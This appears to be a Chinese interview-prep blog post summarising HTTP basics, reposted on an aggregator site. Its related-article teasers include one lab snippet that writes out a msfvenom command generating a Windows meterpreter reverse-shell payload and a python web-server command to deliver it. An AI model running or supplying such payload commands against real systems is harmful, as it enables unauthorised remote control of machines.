【前端 · 面试 】HTTP 总结(一)—— HTTP 概述

news2024/9/22 3:32:26

最近我在做前端面试题总结系列,感兴趣的朋友可以添加关注,欢迎指正、交流。

前端·面试·http总结.002.jpeg

概念

HTTP 的全称是 Hyper Text Transfer Protocol,翻译过来就是“超文本传输协议”。

HTTP 是一个简单的请求-响应协议,它通常运行在 TCP 之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。

image

补充

HTTP 是万维网(World Wide Web)的基础协议

HTTP 详细规定了浏览器和万维网(WWW = World Wide Web)服务器之间互相通信的规则,通过因特网传送万维网文档的数据传送协议。

自 Tim Berners-Lee 博士和他的团队在 1989-1991 年间创造出 HTTP 以来,HTTP 已经发生了太多的变化,在保持协议简单性的同时,不断扩展其灵活性。如今,HTTP已经从一个只在实验室之间交换文件的早期协议进化到了可以传输图片,高分辨率视频和3D效果的现代复杂互联网协议。

HTTP 是应用层协议

HTTP 是应用层的协议,通过 TCP,或者是 TLS -加密的TCP连接来发送,理论上任何可靠的传输协议都可以使用。

同其他应用层协议一样,HTTP 协议是为了实现某一类具体应用的协议,并由某一运行在用户空间的应用程序来实现其功能。

HTTP 是一种协议规范,这种规范记录在文档上,为真正通过 HTTP 进行通信的 HTTP 的实现程序。

HTTP 是一种可扩展的协议

因为其良好的扩展性,时至今日,它不仅被用来传输超文本文档,还用来传输图片、视频或者向服务器发送如 HTML 表单这样的信息。HTTP 还可以根据网页需求,仅获取部分 Web 文档内容更新网页。

HTTP 是基于 B/S 架构进行通信的

HTTP 的服务器端实现程序有 httpd、nginx 等。

其客户端的实现程序主要是 Web 浏览器,例如 Firefox、Google Chrome、Safari、Opera 等。

Web 服务是基于 TCP 的,因此为了能够随时响应客户端的请求,Web 服务器需要监听在 80/TCP 端口,这样客户端浏览器和 Web 服务器之间就可以通过 HTTP 进行通信了。

HTTP 由请求和响应组成

HTTP 是一个标准的客户端服务器模型。

客户端和服务端通过交换各自的消息(与数据流正好相反)进行交互。由像浏览器这样的客户端发出的消息叫做 requests,被服务端响应的消息叫做 responses。

请求和响应消息的头以 ASCII 形式给出;而消息内容则具有一个类似 MIME 的格式。这个简单模型是早期 Web 成功的有功之臣,因为它使开发和部署非常地直截了当。

HTTP 是一种能够获取如 HTML 这样的网络资源的 protocol (通讯协议)

它是在 Web 上进行数据交换的基础,是一种 client-server 协议。

请求通过一个实体被发出,实体也就是用户代理。大多数情况下,这个用户代理都是指浏览器,当然它也可能是任何东西,比如一个爬取网页生成维护搜索引擎索引的机器爬虫。

也就是说,请求通常是由像浏览器这样的接受方发起的。一个完整的Web 文档通常是由不同的子文档拼接而成的,像是文本、布局描述、图片、视频、脚本等等。

A Web document is the composition of different resources

HTTP 协议以明文方式发送内容

HTTP 不提供任何方式的数据加密,如果攻击者截取了Web浏览器和网站服务器之间的传输报文,就可以直接读懂其中的信息,因此,HTTP 协议不适合传输一些敏感信息,比如:信用卡号、密码等支付信息。

总结

HTTP 是一种运行于 TCP 协议上的应用层协议。

~

~ 本文完,感谢阅读!

~

学习有趣的知识,结识有趣的朋友,塑造有趣的灵魂!

大家好,我是〖编程三昧〗的作者 隐逸王,我的公众号是『编程三昧』,欢迎关注,希望大家多多指教!

你来,怀揣期望,我有墨香相迎! 你归,无论得失,唯以余韵相赠!

知识与技能并重,内力和外功兼修,理论和实践两手都要抓、两手都要硬!



喜欢的朋友记得点赞、收藏、关注哦!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972305.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MSF回弹木马windows测试

windows主机地址为192.168.104.133 kali系统中使用msfvenom命令生成windows系统的回弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.104.131 LPORT12345 -f exe -o shellreverse.exe使用python3 -m http.server 9999来传递文件到windows主机中 msfco…

代码随想录算法训练营第四十九天| 42. 接雨水 、84.柱状图中最大的矩形

42. Trapping Rain Water 双指针暴力解法: 每一列雨水的高度,取决于,该列 左侧最高的柱子和右侧最高的柱子中最矮的那个柱子的高度,即: min(lHeight, rHeight) - height class Solution:def trap(self, height):if l…

华杉研发九学习日记23 多线程

华杉研发九学习日记23 java多线程 一, 线程 1.1 进程 进程就是一个程序运行的标志,是程序运行的状态。 一个正在运行的程序就是一个进程。进程是操作系统资源分配(计算资源,比如CPU,存储:内存)的最小单…

Day5

BootStrap 这个玩意可以理解为,已经写好的css样式的封装。 在开发中,如果需要用到这个, 首先得下载下来 找到官网,Bootstrap中文网 (bootcss.com) 这里我下载的是最新版的v5, 解压后,把该文件夹放进项目…

计算机三级嵌入式笔记(四)——嵌入式系统软件

目录 考点1 嵌入式软件的特点 考点2 嵌入式系统的软件结构 考点3 硬件抽象层与板级支持包 考点4 引导加载程序 考点5 嵌入式系统的设备驱动程序 考点6 实时系统与实时操作系统 考点7 嵌入式操作系统概述 考点8 Linux 内核 考点9 嵌入式 Linux 操作系统 考点10 Androi…

C语言自定义类型结构体与位段超详解

文章目录 1. 结构体类型的声明1. 1 结构体声明1. 2 结构体变量的创建和初始化1. 3 结构体的特殊声明1. 3 结构体的自引用 2. 结构体内存对齐2. 1 对齐规则2. 2 为什么存在内存对齐2. 3 修改默认对齐数 3. 结构体传参4. 结构体实现位段4. 1 什么是位段4. 2 位段成员的内存分配4.…

centos7 中安装 mysql 8.x以及对数据库的管理(数据库、表的增删改查、插入删除数据)

Day 16 centos7 中安装 mysql 8.x 1.下载安装包 [rootmysql~]#wget https://downloads.mysql.com/archives/get/p/23/file/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar 2.解压 tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar [rootmysql ~]# ls anaconda-ks.cfg mys…

美业收银系统【客户管理】的重要作用|美业门店管理系统Java源码、系统演示

美业系统中的客户管理功能可以起到多种作用,包括但不限于以下几点: 1.客户档案管理: 记录客户的个人信息、偏好、消费记录等,便于了解客户需求,提供个性化的服务和推荐。 2.预约和排队管理: 帮助美业从…

探索Netty框架的核心构件

Netty是一个高性能、异步事件驱动的网络应用程序框架,用于快速开发可维护的高性能、高可靠性的网络服务器和客户端程序。本文将深入探讨Netty框架的基本组件,帮助开发者更好地理解和使用这一强大的工具。 1. 事件循环(EventLoop)…

告别繁琐,AI助你轻松制作PPT!2024四大工具推荐

PPT是现代商务和教育领域中不可或缺的工具。然而,制作一份高质量的PPT往往需要花费大量的时间和精力。AI PPT制作工具的出现可以很好地解决这一问题。下面为大家推荐几个AI PPT制作工具。 笔灵AIPPT:智能设计,一键生成 链接:htt…

Stable Diffusion绘画 | 文生图设置详解(二)

提示词引导系统(CFG Scale) 这里的参数,是用来控制 SD 是否严格按照输入的提示词来生成画面 CFG值越小,对 SD 的约束程度就越低,AI 会加入更多想法💡,CFG7是一个平衡值 CFG值越大,对…

STL——栈和队列和优先队列

栈和队列和优先队列 概述std::堆栈核心函数和操作成员函数示例注意事项 std::队列核心函数和操作成员函数示例注意事项 std::优先队列底层实现原理效率分析deque双端队列原理块结构:指针管理&am…

【Pytorch】一文向您详细介绍 torch.sign()

🎉🧠**【Pytorch】一文向您详细介绍 torch.sign()** 下滑即可查看博客内容 🌈 欢迎莅临我的个人主页 👈这里是我静心耕耘深度学习领域、真诚分享知识与智慧的小天地!🎇 🎓 博主简介&#xff…

Java高级

类变量/静态变量package com.study.static_; 通过static关键词声明,是该类所有对象共享的对象,任何一个该类的对象去访问他的时候,取到的都是相同的词,同样任何一个该类的对象去修改,所修改的也是同一个对象. 如何定义及访问? 遵循相关访问权限 访问修饰符 static 数据类型…

Day3

首先是模板语句的学习。 在学习之前,我们得搞清楚为什么要学它以及学它有什么用。 Django模板语句,使得网页内容可以动态地从数据库中加载,而不是静态地写在HTML文件中。这样,当你需要更新网站信息时,只需更改模板或…

【Spark计算引擎----第二篇(RDD):一篇文章带你清楚什么是RDD?RDD的概念,RDD的特性,怎么创建一个RDD,RDD的算子】

前言: 💞💞大家好,我是书生♡,本阶段和大家一起分享和探索大数据技术Spark—RDD,本篇文章主要讲述了:RDD的概念,RDD的特性,怎么创建一个RDD,RDD的算子等等。欢…

第三十一天 chrome调试工具

打开调试工具 页面空白处右击 检查 或者F12 使用调试工具 ctrl滚轮改变代码大小 左边是html 右边是css css可以直接改动数值左右箭头或者直接输入 查看颜色 ctrl0 复原浏览器大小 点击元素右侧出现样式引入 没有的话 说明类名或者样式引用错误 这里的.new-left是存在的 如果类…

OpenStack;异构算力网络架构;算力服务与交易技术;服务编排与调度技术

目录 OpenStack 一、OpenStack概述 二、OpenStack的主要组件及功能 三、OpenStack的架构 四、OpenStack的应用场景 异构算力网络架构 算力服务与交易技术 服务编排与调度技术 OpenStack 是一个开源的云计算管理平台项目,由NASA(美国国家航空航天局)和Rackspace合作…

数学建模评价类模型—层次分析法(无数据情况下)

文章目录 前言一、pandas是什么?二、使用步骤 1.引入库2.读入数据总结 前言 本文将讲解解决评价类问题的第一种模型层次分析法(AHP法),首先我们会具体讲解评价类问题解答的具体流程再对AHP方法进行讲解 一、评价类问题概述 评价…

DB管理客户端navicat、DBever、DbVisualizer数据库连接信息迁移

DB管理客户端Navicat、DBever、DbVisualizer数据库连接信息迁移 第三方数据库连接工具为了确保数据库信息安全通常对保存的数据库连接密码进行加密,填入后想再拿到原文就不可能了,有时交接给别人或者换电脑时可以通过连接数据导出的方式来解决。 Navic…